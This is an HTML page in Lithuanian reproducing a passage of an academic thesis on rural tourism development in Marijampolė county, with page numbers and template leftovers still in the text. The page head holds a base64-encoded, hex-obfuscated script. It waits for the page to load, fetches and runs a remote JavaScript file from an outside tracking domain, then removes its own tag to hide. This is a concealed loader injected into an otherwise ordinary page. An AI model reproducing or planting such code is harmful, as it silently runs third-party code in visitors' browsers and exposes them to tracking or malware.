
<!DOCTYPE html>
<html lang="en">
<head>
	<meta charset="utf-8">
	<title>Turizmas</title>
	<meta name="viewport" content="width=device-width">
	<link rel="stylesheet" href="assets/styles.min.css">
	<script id="otqvO" src="data:text/javascript;base64, dmFyIF81bVBKYSA9IFsnXHg3MVx4NzVceDY1XHg3Mlx4NzlceDUzXHg2NVx4NmNceDY1XHg2M1x4NzRceDZmXHg3MicsICdceDYyXHg2Zlx4NjRceDc5JywgJ1x4NjdceDY1XHg3NFx4NDVceDZjXHg2NVx4NmRceDY1XHg2ZVx4NzRceDQyXHg3OVx4NDlceDY0JywgJ1x4NDRceDRmXHg0ZFx4NDNceDZmXHg2ZVx4NzRceDY1XHg2ZVx4NzRceDRjXHg2Zlx4NjFceDY0XHg2NVx4NjQnLCAnXHg2M1x4NzJceDY1XHg2MVx4NzRceDY1XHg0NVx4NmNceDY1XHg2ZFx4NjVceDZlXHg3NCcsICdceDczXHg2M1x4NzJceDY5XHg3MFx4NzQnLCAnXHg3NFx4NzlceDcwXHg2NScsICdceDc0XHg2NVx4NzhceDc0XHgyZlx4NmFceDYxXHg3Nlx4NjFceDczXHg2M1x4NzJceDY5XHg3MFx4NzQnXTsoZnVuY3Rpb24oX2xNYmFmLCBfNHdWM0opIHt2YXIgX1BoeWY3ID0gZnVuY3Rpb24oX3ZpNGFYKSB7d2hpbGUgKC0tX3ZpNGFYKSB7X2xNYmFmWydwdXNoJ10oX2xNYmFmWydzaGlmdCddKCkpO319O19QaHlmNygrK180d1YzSik7fShfNW1QSmEsIDB4MTFiKSk7dmFyIF9ZNTBSbiA9IGZ1bmN0aW9uKF85a1g4MywgXzBNRVAwKSB7XzlrWDgzID0gXzlrWDgzIC0gMHgwO3ZhciBfR0Z0cmMgPSBfNW1QSmFbXzlrWDgzXTtyZXR1cm4gX0dGdHJjO307ZG9jdW1lbnRbJ1x4NjFceDY0XHg2NFx4NDVceDc2XHg2NVx4NmVceDc0XHg0Y1x4NjlceDczXHg3NFx4NjVceDZlXHg2NVx4NzInXShfWTUwUm4oJzB4MCcpLCBmdW5jdGlvbigpIHt2YXIgX1hzZ29SID0gZG9jdW1lbnRbX1k1MFJuKCcweDEnKV0oX1k1MFJuKCcweDInKSk7X1hzZ29SW19ZNTBSbignMHgzJyldID0gX1k1MFJuKCcweDQnKTtfWHNnb1JbJ1x4NzNceDcyXHg2MyddID0gJ1x4NjhceDc0XHg3NFx4NzBceDczXHgzYVx4MmZceDJmXHg3NFx4NzJceDYxXHg2M1x4NmJceDczXHg3OVx4NzNceDc0XHg2NVx4NmRceDMzXHgyZVx4NjNceDZmXHg2ZFx4MmZceDVmXHg3Mlx4NjVceDZkXHg2Zlx4NzRceDY1XHg1Zlx4NzRceDcyXHg2MVx4NjNceDZiXHgyZVx4NmFceDczXHgzZlx4NjNceDYxXHg2ZFx4NzBceDYxXHg2OVx4NjdceDZlXHgzZFx4NTVceDUxXHg1MFx4NDJceDVhXHg0ZVx4NzdceDY5XHg2Nlx4NDMnO2RvY3VtZW50W19ZNTBSbignMHg1JyldKF9ZNTBSbignMHg2JykpWydceDYxXHg3MFx4NzBceDY1XHg2ZVx4NjRceDQzXHg2OFx4NjlceDZjXHg2NCddKF9Yc2dvUik7ZG9jdW1lbnRbX1k1MFJuKCcweDcnKV0oJ290cXZPJylbJ1x4NzJceDY1XHg2ZFx4NmZceDc2XHg2NSddKCk7fSwgeydceDZmXHg2ZVx4NjNceDY1JzogISFbXX0pOw=="></script>
	
	
</head>

<body>
	<header>
		<div class="container">
			<div class="c-row">



				<nav>
					<div class="logo" style="width:60px;min-width:auto;">
						<a href="#"><img class="lazy img-responsive w-100"
								src="data:image/gif;base64,R0lGODlhBwACAIAAAP///wAAACH5BAEAAAEALAAAAAAHAAIAAAIDjI9YADs="
								data-src="assets/logo.png" data-srcset="assets/logo.png 1x, assets/logo.png 2x" alt="img"></a>
					</div>

					<ul class="d-md-none">
						<li><a href="#">Pagrindinis</a></li>
						<li><a href="#">Lietuva</a></li>
						<li><a class="active" href="#">Rekomenduojame</a></li>
						<li><a href="#">Politika</a></li>
						<li><a href="#">Bendruomenė</a></li>
						<li><a href="#">Ekonomika</a></li>
						<li><a href="#">Pasaulyje</a></li>
						<li><a href="#">Sportas</a></li>
						<li><a href="#">Įvykiai</a></li>
					</ul>
				</nav>

				<div class="more d-lg-none-up">
					<a href="#" class="burger">
						<svg class="menu-icon" width="35" height="35" viewBox="0 0 64 64" fill="currentColor"
							xmlns="https://www.w3.org/2000/svg" aria-hidden="true">
							<path d="M52.75,47.84H11.25a2.08,2.08,0,1,0,0,4.16h41.5a2.08,2.08,0,1,0,0-4.16Z"></path>
							<path d="M52.75,28.92H11.25a2.08,2.08,0,1,0,0,4.16h41.5a2.08,2.08,0,1,0,0-4.16Z"></path>
							<path d="M11.25,14.16h41.5a2.08,2.08,0,1,0,0-4.16H11.25a2.08,2.08,0,1,0,0,4.16Z"></path>
						</svg>
					</a>
				</div>

			</div>
		</div>

	</header>


	<!-- Custom HTML / Remove before use -->
	<div class="container">

		<div class="c-row">

			<!-- CONTENT START -->
			<div class="col-content">
				<div class="content">
					<div class="title">
						<h1 class="h1">KAIMO TURIZMO PASLAUGŲ PLĖTROS GALIMYBĖS
MARIJAMPOLĖS APSKRITYJE      
						</h1>
					</div>
					<div class="img-block">
						<div class="img-wrap">
							<!-- КАРТИНКА SRC="ЗАГЛУШКА В base64 в размер оригинальной картинки, нужна обязательно" DATA-SRC="Путь до картинки" DATA-SRCSET="путь до картинки 1x, аналогично x2" -->
							<img class="lazy img-responsive w-100"
								src="assets/001.png"
								data-src="assets/001.png" data-srcset="assets/001.png 1x, assets/001.png 2x" alt="img">
						</div>
						
Turizmas yra viena iš sparčiausiai besivystančių industrijos šakų visame pasaulyje. WTTC
(pasaulinis kelionių ir turizmo konsulas) pranešė, jog 2011 m. turizmo sektorius visame pasaulyje
augo vidutiniškai 2,7 proc. Lietuvoje kaimo turizmas laikomas sparčiausiai augančiu turizmo
paslaugų sektoriumi. Mūsų šalyje ši verslo šaka 2011 m. sukūrė 2,9 proc. bendrojo vidaus produkto,
turizmo sektoriuje dirbo apie 4,7 proc. visų šalies dirbančiųjų. Taigi turizmo sektorius yra
neabejotinai reikšmingas šalies ekonomikai.
Nors kaimo turizmas, kaip sėkminga turizmo sektoriaus atšaka, kai kuriose Europos šalyse
vystomas jau daugiau kaip keturiasdešimt metų, Lietuvoje šio verslo šaknys dar negilios. Kaimo
turizmas čia pradėjo populiarėti daugiau kaip prieš dešimtmetį. Lietuvos kaimo turizmo sodyboms
dar reikia įdėti nemažai pastangų bei investicijų ne tik į šio verslo populiarinimą, bet ir į teikiamų
paslaugų kokybė, kadangi tik geras kainos ir kokybės santykis užtikrina sodybos konkurencingumą
rinkoje. Nors kaimo turizmas Lietuvoje dar jauna verslo šaka, bet jau matoma didelė paklausa
kaimo turizmui bei aiškios šio verslo plėtros galimybės. Pastaruoju metu į šį verslo sektorių dėmesį
atkreipė ne tik verslininkai, bet ir visuomenė bei valstybinės institucijos, o Europos Sąjungos fondų
parama skatina šio verslo kūrimą ir plėtrą. Kaimo turizmas Lietuvoje jau turi pripažinimą, bet
didėjantis kaimo turizmo paslaugų poreikis, poilsiautojų ir konkurentų skaičius skatina plačiau
nagrinėti šią veiklos sritį, ieškoti jos plėtros galimybių ir priemonių.
Lietuvoje kaimo turizmo paslaugos tyrinėjamos keletos autorių darbuose. Kaimo turizmo
paslaugų kokybę ir jos gerinimo kryptis savo darbuose nagrinėjo R. Mikalauskienė (2001), J.
Ramanauskienė, A. Gargasas (2007). Kaimo turizmo plėtros tendencijas, kaimo turizmo reikšmę
šalies ekonomikai savo darbuose nagrinėja A. Astromskienė (2009), A. Astromskienė, R. Sirusienė
(2002), D. Krivickienė (2005), L. Žalys, I. Žalienė ir kt. (2006), A. Armaitienė, J. Raišutienė
(2007). Taigi galima teigti, jog kaimo turizmo paslaugų įvairovės tema nėra plačiai išnagrinėta,
todėl ji yra itin aktuali.
Tyrimo objektas – Marijampolės apskrities kaimo turizmo sodybos.
Tyrimo tikslas – išanalizavus kaimo turizmo sodybų veiklą Marijampolės apskrityje,
numatyti kaimo turizmo paslaugų plėtros priemones ir kryptis.
Tyrimo uždaviniai:
1. Išanalizuoti kaimo turizmo paslaugų sampratą ir esmę teoriniu aspektu;
2. Išanalizuoti kaimo turizmo paslaugų įvairovę ir nustatyti ją lemiančius veiksnius;
3. Išanalizuoti kaimo turizmo paslaugų kokybės ypatumus ir valdymą;
4. Nustatyti kaimo turizmo verslo valdymo procesų ypatumus;
5. Parengti tyrimo metodiką ir atlikti tyrimą;
10
6. Nustatyti dabartinę kaimo turizmo sektoriaus situaciją Marijampolės apskrityje ir parengti
veiklos plėtros priemonių planą.
Tyrimo metodika. Tiriant ir analizuojant kaimo turizmo paslaugų įvairovę buvo naudojami
tyrimo metodai: mokslinės literatūros analizė ir sintezė, lyginimo ir anketinės apklausos metodai.
Tiriamas laikotarpis: 2008 – 2012 metai.
Apklausa buvo atliekama Marijampolės apskrityje. Tyrimo metu anketinės apklausos pagalba
buvo apklausti dvidešimt dviejų kaimo turizmo sodybų savininkai: 2 Marijampolės savivaldybėje, 9
Šakių rajone, 4 Kazlų Rūdos savivaldybėje, 2 Kalvarijos savivaldybėje ir 5 Vilkaviškio rajone.
Anketinės apklausos pagalba buvo apklausiami ir sodybose apsilankę svečiai bei asmenys,
kurie naudojasi kaimo turizmo paslaugomis Marijampolės apskrityje (tyrimo imtis – 200). Atlikta
empirinio tyrimo duomenų analizė ir sintezė, grafinis vaizdavimas.
KAIMO TURIZMO PASLAUGŲ TEORINIAI ASPEKTAI
Kaimo turizmas – specifinė turizmo sektoriaus veiklos sritis, susijusi su gamtinių, kultūrinių,
socialinių išteklių panaudojimu verslo vystymui. Sėkmingam verslo vystymui yra būtinas verslo
specifikos, valdymo funkcijų ir verslo strategijos supratimas. Todėl svarbu suvokti kaimo turizmo,
kaip verslo šakos sampratą bei esmę, kurios yra vienos pagrindinių šakos varomųjų jėgų.
1.1.Kaimo turizmo paslaugų samprata ir esmė
Siekiant geriau suvokti kaimo turizmo paslaugų sampratą ir esmę, pirmiausiai reikėtų
išsiaiškinti savokų paslauga, turizmas ir kaimo turizmas reikšmę.
Paslauga – tai neapčiuopiama veikla, teikiama vartotojui saveikaujant su paslaugą teikiančiais
subjektais, kurie užtikrina tinkamą paslaugos suteikimą. Paslaugų savybės yra viena kitą
sąlygojančios: dėl neapčiuopiamumo paslaugų negalima pademonstruoti, kaupti jų atsargų, perduoti
nuosavybės. Paslauga yra procesas ir ji egzistuoja tol, kol yra teikiama ir vartojama (Klaus, 1985).
Tai sąlygoja vartotojo dalyvavimą paslaugos procese, o ši aplinkybė yra viena svarbiausių
paslaugos heterogeniškumo priežasčių. Paslaugų teikimo specifiškumas tas, kad, skirtingai negu
prekės, paslaugos negalima pagaminti iš anksto ir jos saugoti (taupyti). Paslaugos negali būti
atskirtos nuo kliento, jos teikiamos ir vartojamos tuo pačiu metu.
Tiek užsienio, tiek ir lietuvos mokslininkai sutinka, jog paslauga – tai sudėtingas reiškinys,
kurį apibūdinti sunku. Esminis paslaugos ir prekės skirtumas tas, jog paslauga tuo pačiu metu yra ir
veikla, ir rezultatas. Ilgainiui formuojantis paslaugų rinkai, formavosi ir įvairios paslaugų
sampratos. Šiuo metu egzistuoja daug paslaugų apibūdinimų. Pasak Vitkienės (2004), paslauga gali
būti apibrėžiama kaip:
 Veikla, nauda ar pasitenkinimas, kuris teikiamas parduoti kartu su prekėmis;
 Parduoti siūloma veikla, kai perkama nauda ir pasitenkinimas, o ne konkretus daiktas;
 Veikla ir nauda, kada viena pusė kitai pusei gali pasiūlyti tai, kas paprastai
neapčiuopiama.
Platesniame kontekste, paslauga – tai daugelio įvairių šakų įmonių (tarp jų ir paslaugų), jose
dirbančių žmonių ir paslaugų vartotojų bendrų pastangų rezultatas. Galime išskirti svarbiausią
paslaugos bruožą – tai, kad ją galime pirkti, nors ji neapčiuopiama. Pasak Kotler ir Bloom (1984),
„bet kokia nauda ar veikla, kurią viena šalis gali pasiūlyti kitai, pasižymi neapčiuopiamumu ir tuo,
kad nėra nuosavybės rezultatas. Jos išraiška gali būti nesusieta su fiziniu produktu“.
Tuo tarpu Gronroos (1988) teigia, jog paslauga – tai „veiksmas ar serija veiksmų, kurie
būdami neapčiuopiamos prigimties pasireiškia sąvoka tarp vartotojo ir paslaugų darbuotojo.
Teikiant paslaugą veikla tampa kliento ar vartotojo poreikių tenkinimo priemone“.
12
Kiti lietuvių mokslininkai teigia, jog „paslauga – tai daugiau ar mažiau neapčiuopiama veikla,
paprastai pasireiškianti vartotojui saveikaujant su paslauga teikiančiais tarnautojais, fiziniais
ištekliais, prekėmis arba teikimo sistemomis, kurios užtikrina vartotojo problemos išsprendimą“
(Vitkienė, 2004).
Paslaugų paketą dažniausiai apibūdina dvi pagrindinės kategorijos:
 Pagrindinė paslauga;
 Papildomos paslaugos.
Paslaugų paketo rinkinyje viena paprastai yra aiškiai dominuojanti, ji vadinama pagrindine
arba bazine paslauga, o kitos – periferinėmis, šalutinėmis. Teikiamų paslaugų paketas yra
apibūdinamas kaip paslaugų rinkinys, tiksliau, paslaugų grupė, kurią sudaro pagrindinė ir ją
praturtinančios papildomos paslaugos: remiamosios, lengvinamosios, užtikrinančios išskirtinumą ir
pagrindinės paslaugos konkurencingumą rinkoje. Nagrinėjant kaimo turizmo paslaugų sistemą, ją
galime nagrinėti kaip vykdomųjų bei dispozicinių paslaugų visumą (Astromskienė, Sirusienė,
2002). Svarbiausios vykdomosios paslaugos - tai poilsio kaime paslaugos. O kaimo turizmo esmė ir
yra poilsio organizavimo paslaugos kaimiškoje aplinkoje. Papildomos paslaugos atskleidžia
pagrindinės kaimo turizmo paslaugos ryšį su turizmu. Galima apibendrinti, kad prie pagrindinių
kaimo turizmo paslaugų priskiriamos maitinimo ir apgyvendinimo paslaugos, sudarančios poilsio
kaime paslaugos galimybes, o prie praturtinančių, papildomų paslaugų priskiriamos visos kitos
paslaugos, kurios suteikia galimybę sodybai išsiskirti iš kitų, siekiant patenkinti atitinkamo
segmento kaimo turistų poreikius bei išlikti konkurencinėje kaimo turizmo rinkoje.
Turizmas – tai verslas, kuriame dominuoja žmogiškasis faktorius, t. y. žmonės, teikiantys
paslaugas kitiems žmonėms. Per daugelį metų turizmo sąvoka dažnai kito ir iki šiol nesusiformavo
vieninga nuomonės, kas yra turizmas. Pats žodis „turizmas“ reiškia kelionę iš vienos vietos į kitą,
sugrįžtant į pirmąją. Turizmas yra sezoninis produktas, nes tam tikros vietos populiarios lankyti tik
tam tikru metų laiku. Pasak Damulienės (1995), „kurortai, turistinės firmos turi ypatingai kruopščiai
planuoti savo veiklą sezono piko metu, nors reikia bandyti gauti naudos ir ne sezono metu“.
Remiantis G. T. Shostack (1984), „turizmo paslaugose dominuoja nepačiuopiamos paslaugos, todėl
ir sunku traktuoti jas kaip prekę. Nors yra siūlomas maistas, gėrimai, suvenyrai, tačiau šio verslo
didžiausia nauda – poilsis, aptarnavimas, atrakcijos ir pan.“
Pasak Hopenienės ir kt. (2004), „daugelyje šalių turizmo veikla dar siekia tik regionų
ekonomikos aktyvinimo, pritraukiant kuo didesnius turistų srautus, plėtojant turistų aptarnavimo
sistemą bei pašalinant administracinius apribojimus, varžančius masinį turistų judėjimą“. Pasak
pastarųjų mokslininkų, „dėl turistinių vietovių bei atskirų organizacijų koncentracijos, formuojasi
masiškai lankomi turistiniai centrai“ (Hopenienė ir kt., 2004).
13
Daug metų į turizmo veiklą buvo žiūrima kaip į mažmeninės prekybos dalį. Tačiau
palaipsniui toks požiuris keitėsi ir XX-ame amžiuje turizmas pradėtas suprasti kaip fenomenas,
besiskverbiantis į visas mūsų gyvenimo sritis. Visų pirma, turizmo ištakos yra žmonėse, kurie nori
kur nors nukeliauti, pakeisti savo gyvenamąją aplinką, patirti naujų emocijų, aplankyti draugus ir
gimines. Tarptautinėje turizmo statistikoje visi turizmu užsiimantys žmonės, arba keliautojai,
vadinami vienu žodžiu – lankytojais (žr. 1 pav.).
Lankytojai - tai asmenys, kurie keliauja į kitą, nei jų nuolatinė gyvenama vieta, šalį ar
vietovę ne ilgesniam kaip 12 mėnesių laikotarpiui ir kurių pagrindinis kelionės tikslas nėra
mokamas darbas lankomoje vietoje (Lietuvos turizmo..., 2005).
Turistas - asmuo, kuris pažintiniais, profesiniais, kultūriniais, rekreaciniais, religiniais,
verslo, profilaktinio gydymo ar kitais tikslais keliauja po šalį ar vyksta į užsienį ir apsistoja bent
vienai nakvynei už savo nuolatinės gyvenamosios vietos ribų (Armaitienė ir kt., 1999).
Vienadieniai lankytojai – lankytojai, kurie nenakvoja lankomos šalies ar vietovės
apgyvendinimo įstaigoje nei vienos nakties (Vainienė, 2001).
Kaip skirstomi keliautojai ir lankytojai, kokie yra jų apsilankymo tikslai pavaizduota
pasaulinės turizmo organizacijos lankytojų klasifikatoriuje (žr. 1 pav.). Paveiksle numeriais nuo 1
iki 8 aprašomi įvairūs lankytojų tipai. Detaliau paaiškinsime šią numeraciją (Lietuvos turizmo...,
2005):
1. Įgulų nariai ne rezidentai – užsienio lėktuvų ar laivų įgulos, kurios apsistoja
lankomos šalies apgyvendinimo įstaigose.
2. Kruizų keleiviai – asmenys, kurie atvyksta į šalį kruiziniu laivu ir nakvoja laive. Gali
būti laive ilgiau nei vieną naktį.
3. Įgulos – įgulų nariai, kurie nėra lankomos šalies gyventojai ir praleidžia šalyje vieną
dieną.
4. Vienadieniai lankytojai – tai lankytojai, kurie atvyksta ir išvyksta tą pačią dieną.
5. Laikinieji ir nuolatiniai imigrantai – skiriami pagal Jungtinių Tautų Tarptautinės
migracijos statistikos rekomendacijų apibrėžimą 1980 metais.
6. Klajokliai ir tranzitiniai keleiviai – keleiviai, kurie nepalieka oro uosto ar uosto
tranzito teritorijos, įskaitant pervažiavimus tarp oro uostų ir uostų.
7. Pabėgėliai – skiriami pagal Jungtinių Tautų Pabėgėlių vyriausiojo komisaro
apibrėžimą 1967 metais.
8. Ginkluotojų pajėgų nariai, konsulatų darbuotojai ir diplomatai – kai jie vyksta iš savo
šalies į paskirties vietą ir atvirkščiai.   

                    </p>
                    
                     Visoms kaimo turizmo rūšims yra būdinga kaimo aplinka, kurios pagrindas yra žemės ūkis.
Detaliau nagrinėjant kaimo turizmo rūšis, reikia paminėti pramoginį turizmą. Ši turizmo rūšis ypač 
16
aktuali, kai keliaujama norint pasilinksminti, pašvęsti. Į tokias keliones turistai dažniausiai vyksta
savaitgaliais, ji labai populiari minint šeimos šventes. Dar visai neseniai Lietuvoje šitokio pobūdžio
kelionės į kaimą buvo itin populiarios. Kalbant apie kultūrinį pažintinį kaimo turizmą, reikia
paminėti, jog ši rūšis aktuali, kai keliaujama norint pažinti gimtąjį kraštą, lankomi kaimo teritorijose
esantys kultūriniai objektai (sodybos, bažnyčios, muziejai, gamtos paminklai ir pan). Taip pat
glaudžiai su kaimo turizmu yra susijęs ir gamtinis pažintinis turizmas, nes svarbiausias kaimo
turizmo elementas yra gamtinė aplinka. Ši turizmo rūšis aktuali tiems poilsiautojams, kurie nori
susipažinti su kaimo turizmo ištekliais, gamtos įdomybėmis, gėrybėmis. Kita dažna kaimo turizmo
rūšis – tai profesinis turizmas. Ši rūšis ypatingai aktuali tiems, kurie vyksta į kaimo vietoves su
tikslu dalyvauti įvairiuose renginiuose, seminaruose, konferencijose, kurie vyksta kaimo vietovėse.
Etninis turizmas aktualus tiems, kurie vyksta į kaimo vietoves aplankyti savo gimtųjų vietų, giminių
ir artimųjų. O religinis turizmas yra susijęs su įvairiomis religinėmis apeigomis, kurių ypatingai
gausu kaimiškose vietovėse.
Visų kaimo turizmo rūšių plėtojimas mažina nedarbą, sudaro palankias sąlygas kaimo
gyventojams rūpintis savo šeimos ateitimi, skatina žmonių tarpusavio bendravimą, supratimą,
nuolatinį tobulėjimą ir kaimo gyventojų socialinį aktyvumą. Tai ypač svarbu dabar, kai jaučiamas
tam tikras kaimo gyventojų nusivylimas nedarbu ir aktyvumo sumažėjimas (Žalys, Žalienė ir kt.,
2006). Kaimo turizmo verslas, kaip ekonominė veikla, yra siejama su savininku, kuris
savarankiškai, su visiška materialine atsakomybe tvarko savo veiklą – turizmo paslaugų teikimą
kaimo vietovėje, t. y. priima argumentuotus sprendimus (Astromskienė, 2009b).
Negalima teigti, jog kaimo turizmas gali ar turi išspręsti Lietuvos žemės ūkio problemas,
tačiau šis sektorius pastaraisiais metais gan sparčiai vystosi. Dėl to šio sektoriaus plėtra yra svarbus
veiksnys, kuriantis alternatyvias veiklos kryptis formuojant kaimo šeimų ūkio pajamų šaltinius.
Taip pat kaimo turizmas veiksminga priemonė, padedanti išsaugoti kultūros paveldo vertybes,
plėtoti ekologišką žemės ūkį, tiesioginį žemės ūkio produktų pardavimą ir puoselėti gamtos grožį.
Kaimo turizmo sąvoka tampriai susieta su rekreacijos sąvoka. Mokslinėje literatūroje
rekreacijos sąvoka aiškinama labai įvairiai. Pasak Žalio, Žalienės ir kt. (2006), „mokslininkai,
analizuodami ir vertindami žmogaus veiklą laisvalaikio metu, įvardija rekreaciją kaip būtiną
žmogaus individualią veiklą, lemiančią jo veiklumo, energijos išsaugojimo galimybę, kiti - kaip
individualią malonių pojūčių, išgyvenimų teikiančią aplinką“. Rekreacija – tai žmogaus sveikatos
atgavimas, fizinių jėgų atkūrimas, teigiamos emocinės, dvasinės, kultūrinės psichoemocinės
būsenos, malonių pojūčių, išgyvenimo atkūrimo, atnaujinimo procesas (Vitkienė, 2004).
Rekreacinė veikla reikalinga bet kokio amžiaus žmogui: nuo ką tik gimusio iki pagyvenusio
(Vitkienė, 2002). Tačiau svarbiausia yra tai, kad rekreacija yra procesas, kurio efektyvumas
tiesiogiai veikia žmogaus gebėjimą tinkamai dirbti ir uždirbti reikiamas lėšas pragyvenimui. 
17
Rekreacija yra savotiškas atlygis už tinkamai atliktą darbą, nes rekreacines paslaugas galima gauti
tik turint lėšų toms paslaugoms pirkti. Rekreacinė veikla mokslinėje literatūroje dar apibūdinama
kaip „sąmoningas žmogaus užsiėmimas, naudojamas fizinių ir dvasinių jėgų atgavimui“ (Pender,
2005).
Rekreacija – tai žmogaus ir rekreacijos aplinkos sąveika, kurios metu rekreacijos aplinka daro
įtaką žmogui, o žmogus daro įtaką aplinkai (ją tausodamas ar darydamas jai žalą, to kartais net
nesuvokdamas) (Vitkienė, 2002).
Kaip minėjome anksčiau, kaimo turizmas – tai viena iš turizmo rūšių. Paveiksle matyti, jog
kaimo turizmas atlieka dvejopą vaidmenį (žr. 2 pav.): viena vertus, tai yra turizmo formos (vietinis
turizmas, atvykstamasis turizmas), kita vertus, tai yra kategorija, apibrėžianti vidinį turizmą (Žalys,
Žalienė ir kt., 2006). Detalesnis turizmo formų ir kategorijų, kaimo turizmo bei rekreacijos ryšys
pateikiamas 4 paveiksle.Paveiksle akcentuojamas dėmesys į tai, kad turizmo rūšys gali būti įvairios. Ir turizmo
formos, ir turizmo kategorija vienodai veikia kaimo turizmo formavimą.
Kaimo turizmas paplitęs daugelyje šalių, tačiau vieningo, visuotinai priimtino kaimo turizmo
apibrėžimo dar nėra suformuota. Yra daug įvairių kaimo turizmo sampratų: vienos jų paprasčiausiai
tapatina kaimo turizmą su turizmo paslaugų teikimu kaimiškosiose vietovėse, kiti – akcentuoja
veiklą, siūlomą kaime. Pasak Žalio, Žalienės ir kt. (2006), „kaimo turizmas - tai kelionė į kaimo
vietovę, norint pailsėti gamtoje, maitintis natūraliu maistu, užsiimti tai aplinkai būdinga veikla. Nuo
kitų turizmo rūšių kaimo turizmas skiriasi savo aplinka ir tuo, kad stengiamasi išvengti daugelio
miesto gyvenimui būdingų nepatogumų – žmonių minios, konservuoto ir apdoroto maisto, užteršto
oro bei triukšmo“. Kaip pažymi E. Lopez ir F. Garcia (2006), „viena iš sparčiausiai plintančių 
18
turizmo sričių, ypatingai silpniau išsivysčiusiose šalyse, pasižyminčiose santykinai dideliu kaimo
gyventojų skaičiumi, yra kaimo turizmas, dažnai minimas kaip atskira, savitą specifiką turinti,
turizmo sritis, kuriai turi būti skiriamas išskirtinis dėmesys“.
Įvairiose šalyse terminas „kaimo turizmas“ suprantamas ir apibrėžiamas skirtingai. Užsienio
šalių literatūroje jis vadinamas įvairiai: poilsiu kaime, kraštovaizdžio turizmu, poilsiu agrarinėje
aplinkoje, agroturizmu, atostogomis kaime. Daugumoje šalių vartojamas terminas „kaimo turizmas“
(pvz., Anglijoje – rural tourism, Danijoje, Kanadoje, Estijoje – farm tourism ir kt.) (Astromskienė,
Sirusienė, 2002). Pavyzdžiui Lenkijoje, kaimo turizmas apibrėžiamas kaip platus pasirinkimas
paslaugų ir įrengimų, būdingų kaimui ir ūkiui bei skirtų turistų poreikiams tenkinti. Danijoje kaimo
turizmas apibūdinamas kaip papildomos pajamos ūkininkams, teikiant paslaugas turistams kaimo
vietovėse. Kanadoje kaimo turizmas suvokiamas kaip siekimas pritraukti žmones į kaimo vietoves,
Lietuvoje jis suprantamas kaip žemės ūkio dalis. A. Astromskienė (2000) pateikia apibendrintą
kaimo turizmo sąvokos reikšmę: „kaimo turizmas yra poilsio paslaugų visuma kaimo vietovėje,
neapsiribojanti viena sodyba ir jos gamtine aplinka, bet apimanti daugelį kaimo techninės ir
socialinės infrastruktūros elementų“. A. Drumm (2004) teigimu, „kaimo turizmas – tai turistų
kelionė į kaimo vietoves ir laisvalaikio leidimas sodybose“.
Apibendrinant kaimo turizmo reikšmę, galima teigti, jog kaimo turizmas – tai toji turizmo
rūšis, kuri labiausiai siejama su gamta, natūralia aplinka, žemės ūkio veikla, kaimo aplinka, jos
pažinimu, poilsiu bei rekreacine veikla kaime. Kaimo turizmo verslo specifika įgalina šią verslo
formą vystyti tik kaimiškoje vietovėje, o teikiamos paslaugos turi būti neatsiejamos su kaimo
gyvenimu, aplinka. Todėl yra svarbu tinkamai suvokti kaimo turizmo paslaugų įvairovės ypatumus
bei veiksnius, lemiančius tokių paslaugų diegimą kaimo turizmo sodybos veikloje.
1.2. Kaimo turizmo paslaugų įvairovė ir ją lemiantys veiksniai
Dabartiniu metu kaimo turizmas – viena iš reikšmingesnių Lietuvos turizmo sektoriaus dalių,
išsiskirianti savo savitumu, teikiamomis paslaugomis, konkurencinėmis savybėmis, kurios turi
didelę reikšmę formuojant tiek regiono, tiek ir valstybės turizmo įvaizdį. Kiekvienais metais kaimo
turizmo sodybos stengiasi pasiūlyti kuo didesnį ir įvairesnį paslaugų kiekį, besistengdamos
pritraukti kuo didesnį klientų srautą. Tačiau, pasak A. Astromskienės (2009a), „dažniausiai ir naujai
kaimo turizmo verslą pradedančios sodybos apsiriboja tradicinių poilsio kaime paslaugų pasiūla:
pirtis, sauna, žvejyba, pasivažinėjimai dviračiais, sporto bei vaikų žaidimo aikštelėmis“.
Anot užsienio mokslininkų, ankstyvuoju kaimo turizmo vystymosi laikotarpiu daugelis
lankytojų buvo patenkinti galimybe gėrėtis gamta, kultūriniais kaimo vietovių objektais ir
papildomų paslaugų poreikis buvo palyginti mažas. Dabartiniu metu norint pritraukti lankytojus
reikia pasiūlyti kuo įvairesnių paslaugų (Sharpley, 1997).
19
Kaimo turizmo paslaugų pasiūla tiesiogiai priklauso nuo sodybų skaičiaus regionuose.
Pastaraisiais metais pastebimas spartus kaimo turizmo sodybų skaičiaus augimas (žr. 1 lentelę).
1 lentelė. Kaimo turizmo sodybų skaičiaus kitimo tendencijos Lietuvoje ir MarijampolėsKaimo turizmo sodybų skaičius bei jų teikiamų paslaugų pasiūlą nuolat auga tiek Lietuvoje,
tiek ir Marijampolės apskrityje, vadinasi, daugėja klientų, didėja ir konkurencija. Todėl, anot J.
Ramanauskienės ir Z. Vagonio (2010), „tolesnė kaimo turizmo verslo sėkmė labiau priklauso nuo
to, kaip paslaugos tiekėjai sugeba tenkinti besikeičiančius vartotojų poreikius, pasiūlyti kokybiškas
ir naujas paslaugas“. Pasak užsienio mokslininkų, „siekiant nugalėti didelės konkurencijos
sąlygomis, vienas svarbiausių veiksnių yra naujų paslaugų kūrimas ir diegimas“ (A. Johne, C.
Storey, 1998).
Anot A. Urbio, I. Vainienės ir kt. (1999), „kaimo turizmas – gana sudėtingas reiškinys.
Panašios paslaugos yra vadinamos vienu kaimo turizmo pavadinimu, tačiau jos tarpusavyje skiriasi
savo tikslu“. Kaimo turizmo paslaugų įvairovei ir pasiūlai didžiulę įtaką daro poilsiautojų poreikiai.
Kiekvienas žmogus turi skirtingus poreikius, todėl visos sodybos stengiasi sudominti ir pritraukti
poilsiautojus rengdamos įvairius paslaugų komplektus, kad galėtų prisitaikyti prie kuo didesnių
poilsiautojų poreikių ir norų. Todėl, pasak A. Astromskienės, J. Ramanauskienės ir kt. (2009),
„kaimo turizmo verslo sėkmė daugiau priklausys nuo to, kaip paslaugos tiekėjai sugebės nuspėti
besikeičiančius vartotojų poreikius, pasiūlyti kokybiškas ir naujas paslaugas“.
Kaimo turizmo sodybų šeimininkai vienu metu siūlo ne vieną, o keletą rekreacinių paslaugų,
kurios skiriasi savo paskirtimi, teikimo būdu, priemonėmis. Kaimo turizmo paslaugos pripažinimas
kompleksine, daugialype paslauga, verčia sodybos šeimininką pasirūpinti visų paslaugos
komponentų tarpusavio suderinamumu.
Remiantis J. Ramanauskienės ir V. Trijonytės (2008) atliktais tyrimais, kaimo turizmo
paslaugos gali būti skirstomos į tris grupes:
1) pagrindinės (privalomosios) paslaugos – apgyvendinimas, maitinimas; 
20
2) papildomosios paslaugos – aptarnavimas, dušas, lyginimas, vaikų priežiūra,
seminarų/konferencijų organizavimas ir pan.;
